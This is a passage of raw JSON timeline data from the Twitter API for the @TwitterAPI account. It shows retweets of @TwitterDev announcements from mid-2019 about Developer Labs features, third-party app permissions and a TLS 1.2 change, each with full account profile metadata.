ebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":107,\"favorite_count\":231,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":107,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Aug 27 17:30:39 +0000 2019\",\"id\":1166402661282746368,\"id_str\":\"1166402661282746368\",\"text\":\"RT @TwitterDev: Our latest Twitter Developer Labs release helps you quickly assess the impact of your Tweets. Today, we\\u2019re releasing \\n\\n\\u2728a n\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Aug 27 17:25:06 +0000 2019\",\"id\":1166401263170281472,\"id_str\":\"1166401263170281472\",\"text\":\"Our latest Twitter Developer Labs release helps you quickly assess the impact of your Tweets. Today, we\\u2019re releasin\\u2026 https:\\\/\\\/t.co\\\/a8PaA1wg5A\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/a8PaA1wg5A\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1166401263170281472\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":56,\"favorite_count\":165,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":56,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Fri Aug 16 17:25:53 +0000 2019\",\"id\":1162415194749882368,\"id_str\":\"1162415194749882368\",\"text\":\"RT @TwitterDev: As of today, we\\u2019re simplifying permissions for third-party apps. Most developers won't be impacted, but if your app uses th\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Aug 16 17:07:22 +0000 2019\",\"id\":1162410535121387525,\"id_str\":\"1162410535121387525\",\"text\":\"As of today, we\\u2019re simplifying permissions for third-party apps. Most developers won't be impacted, but if your app\\u2026 https:\\\/\\\/t.co\\\/VemT1Licd9\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/VemT1Licd9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1162410535121387525\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":33,\"favorite_count\":95,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":33,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Thu Aug 15 16:24:23 +0000 2019\",\"id\":1162037328442875904,\"id_str\":\"1162037328442875904\",\"text\":\"RT @TwitterDev: #iterating: We recently released a long-requested feature in Twitter Developer Labs: \\n\\n\\ud83d\\udcccDeveloper\\u2019s can now request a user\\u2019\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[16,26]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Thu Aug 15 16:20:05 +0000 2019\",\"id\":1162036247314833408,\"id_str\":\"1162036247314833408\",\"text\":\"#iterating: We recently released a long-requested feature in Twitter Developer Labs: \\n\\n\\ud83d\\udcccDeveloper\\u2019s can now request\\u2026 https:\\\/\\\/t.co\\\/rRlVHaBTs2\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[0,10]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/rRlVHaBTs2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1162036247314833408\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":27,\"favorite_count\":95,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":27,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jul 31 19:23:15 +0000 2019\",\"id\":1156646525121916928,\"id_str\":\"1156646525121916928\",\"text\":\"RT @TwitterDev: #iterating: Today we are releasing an update to Twitter Developer Labs, with a few new features we think you\\u2019ll find useful\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[16,26]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Jul 31 19:20:25 +0000 2019\",\"id\":1156645810156650496,\"id_str\":\"1156645810156650496\",\"text\":\"#iterating: Today we are releasing an update to Twitter Developer Labs, with a few new features we think you\\u2019ll fin\\u2026 https:\\\/\\\/t.co\\\/VVp7rv6FIM\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[0,10]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/VVp7rv6FIM\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1156645810156650496\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":105,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jul 24 15:56:09 +0000 2019\",\"id\":1154057692723519494,\"id_str\":\"1154057692723519494\",\"text\":\"TLS 1.2 reminder: this change will be enacted as of tomorrow, July 25, 2019. Please reference our developer forum p\\u2026 https:\\\/\\\/t.co\\\/8YgCwYoE3q\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8YgCwYoE3q\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1154057692723519494\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 